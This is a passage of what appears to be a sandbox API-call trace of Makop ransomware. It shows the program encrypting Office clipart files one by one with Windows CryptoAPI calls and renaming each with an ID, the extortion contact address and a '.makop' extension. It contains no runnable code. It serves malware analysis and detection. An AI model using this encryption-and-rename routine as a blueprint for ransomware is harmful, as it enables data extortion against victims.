lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.019] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.019] GetProcessHeap () returned 0x48a0000 [0141.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.019] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.019] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.020] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.021] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x66c, lpOverlapped=0x0) returned 1 [0141.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670, dwBufLen=0x670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670) returned 1 [0141.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x670, lpOverlapped=0x0) returned 1 [0141.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.022] SetEndOfFile (hFile=0xf0) returned 1 [0141.028] GetProcessHeap () returned 0x48a0000 [0141.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.028] GetProcessHeap () returned 0x48a0000 [0141.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.028] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.030] CloseHandle (hObject=0xf0) returned 1 [0141.030] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0141.030] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF") returned 63 [0141.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.031] GetProcessHeap () returned 0x48a0000 [0141.031] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.031] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.032] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.032] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.032] GetProcessHeap () returned 0x48a0000 [0141.032] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.032] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.032] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.032] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.036] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.036] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.041] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.041] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a0, lpOverlapped=0x0) returned 1 [0141.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a0) returned 1 [0141.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a0, lpOverlapped=0x0) returned 1 [0141.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.042] SetEndOfFile (hFile=0xf0) returned 1 [0141.048] GetProcessHeap () returned 0x48a0000 [0141.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.048] GetProcessHeap () returned 0x48a0000 [0141.048] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.048] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.050] CloseHandle (hObject=0xf0) returned 1 [0141.050] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0141.050] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 63 [0141.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.051] GetProcessHeap () returned 0x48a0000 [0141.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.052] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.058] GetProcessHeap () returned 0x48a0000 [0141.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.058] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.059] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fe8, lpOverlapped=0x0) returned 1 [0141.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ff0, dwBufLen=0x1ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ff0) returned 1 [0141.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ff0, lpOverlapped=0x0) returned 1 [0141.064] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.064] SetEndOfFile (hFile=0xf0) returned 1 [0141.072] GetProcessHeap () returned 0x48a0000 [0141.073] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.073] GetProcessHeap () returned 0x48a0000 [0141.073] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.073] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.075] CloseHandle (hObject=0xf0) returned 1 [0141.075] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0141.075] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF") returned 63 [0141.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.078] GetProcessHeap () returned 0x48a0000 [0141.078] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.078] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0141.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.082] GetProcessHeap () returned 0x48a0000 [0141.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.084] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4816, lpOverlapped=0x0) returned 1 [0141.087] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4820, dwBufLen=0x4820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4820) returned 1 [0141.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4820, lpOverlapped=0x0) returned 1 [0141.088] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.088] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x48f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.088] SetEndOfFile (hFile=0xf0) returned 1 [0141.095] GetProcessHeap () returned 0x48a0000 [0141.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.095] GetProcessHeap () returned 0x48a0000 [0141.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.095] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.097] CloseHandle (hObject=0xf0) returned 1 [0141.097] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0141.097] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF") returned 63 [0141.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.098] GetProcessHeap () returned 0x48a0000 [0141.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.098] CryptGenRandom (in: 